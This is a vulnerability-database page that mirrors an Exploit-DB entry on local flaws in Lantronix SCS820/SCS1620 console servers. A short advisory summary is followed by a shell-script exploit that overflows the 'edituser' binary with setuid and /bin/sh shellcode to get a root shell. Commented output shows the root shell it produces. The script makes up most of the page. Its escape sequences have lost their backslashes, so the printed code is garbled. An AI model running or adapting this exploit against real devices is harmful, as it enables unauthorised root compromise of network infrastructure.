Lantronix Secure Console Server SCS820/SCS1620 – Multiple Local Vulnerabilities

Lantronix Secure Console Server SCS820/SCS1620 – Multiple Local Vulnerabilities

漏洞ID 1055309 漏洞类型
发布时间 2005-08-05 更新时间 2005-08-05
图片[1]-Lantronix Secure Console Server SCS820/SCS1620 – Multiple Local Vulnerabilities-安全小百科CVE编号 N/A
图片[2]-Lantronix Secure Console Server SCS820/SCS1620 – Multiple Local Vulnerabilities-安全小百科CNNVD-ID N/A
漏洞平台 Linux CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/26100
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/14486/info

Lantronix Secure Console Server SCS820/SCS1620 devices are susceptible to multiple local vulnerabilities.

The first issue is an insecure default permission vulnerability. Attackers may exploit this vulnerability to write data to arbitrary files with superuser privileges. Other attacks are also possible.

The second issue is a directory traversal vulnerability in the command-line interface. Attackers may exploit this vulnerability to gain inappropriate access to the underlying operating system.

The third issue is a privilege escalation vulnerability in the command-line interface. Local users with 'sysadmin' access to the device can escape the command-line interface to gain superuser privileges in the underlying operating system.

The last issue is a buffer overflow vulnerability in the 'edituser' binary. Attackers may exploit this vulnerability to execute arbitrary machine code with superuser privileges.

The reporter of these issues states that firmware versions prior to 4.4 are vulnerable. 

#!/bin/sh
# Lantronix Secure Console Server edituser root exploit by
# c0ntex - [email protected] | [email protected]
# Advisory @ http://www.open-security.org/advisories/11
#
# The Linux system supplied by Lantronix does not have gnu
# C compiler, so the exploit is provided as a shell script
# as such, you might need to change the address for
#
#[c0ntex@SCS1620 ~/exploit]$ sh edituserxp.sh
#
# **** *** *** *** *** *** *** *** ***
#[-] Local root exploit for edituser using return-to-libc
#[-] discovered and written by c0ntex | [email protected]
#Expect a root shell :-)  ->  escape sequence is too long.
#bash# id -a
#uid=0(root) gid=0(root) groups=100(users),0(root),200(admin)
#bash#
#
BUFFPAD="OPEN-SECURITY.ORG**OPEN-SECURITY.ORG**OPEN-SECURITY.ORG!"
NOPSLED=`perl -e 'print "x41" x 1000'`
RETADDR=`printf "x74xc2xfexbf"`
SETUID=`printf "x31xc0x31xdbx31xc9xb0x17xcdx80"`
SHELL=`printf "x31xd2x52x68x6ex2fx73x68x68x2fx2fx62x69x89xe3x52x53x89xe1x8dx42x0bxcdx80"`
STACKPAD=`perl -e 'print "A" x 65000'`
VULNAP=/usr/local/bin/edituser
VULNOP="-e"

export BUFFPAD NOPSLED RETADDR SETUID SHELL STACKPAD VULNAP VULNOP

printf "n **** *** *** *** *** *** *** *** ***n"
printf "[-] Local root exploit for editusern"
printf "[-] discovered and written by c0ntexn"

if [ -f $VULNAPP ] ; then
      printf "Expect a root shell :-)  ->  "; sleep 1
      $VULNAP $VULNOP $BUFFPAD$RETADDR$NOPSLED$SETUID$SHELL
      success=$?
      if [ $success -gt 0 ] ; then
              printf "nSeems something messed up, changing NOPBUF to 10000 and trying again!n"
              sleep 2
              unset NOPSLED
              NOPSLED=`perl -e 'print "x41" x 10000'`
              printf "Expect a root shell :-)  ->  "
              $VULNAP $VULNOP $BUFFPAD$RETADDR$NOPSLED$SETUID$SHELL
              success=$?
              if [ $success -gt 0 ] ; then
                      printf "nAgain it failed, sorry you are on your own now :(n"
              fi
      fi
fi

相关推荐: MTink Insecure Temporary File Creation Vulnerability

MTink Insecure Temporary File Creation Vulnerability 漏洞ID 1097707 漏洞类型 Access Validation Error 发布时间 2004-11-09 更新时间 2004-11-09 CVE…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享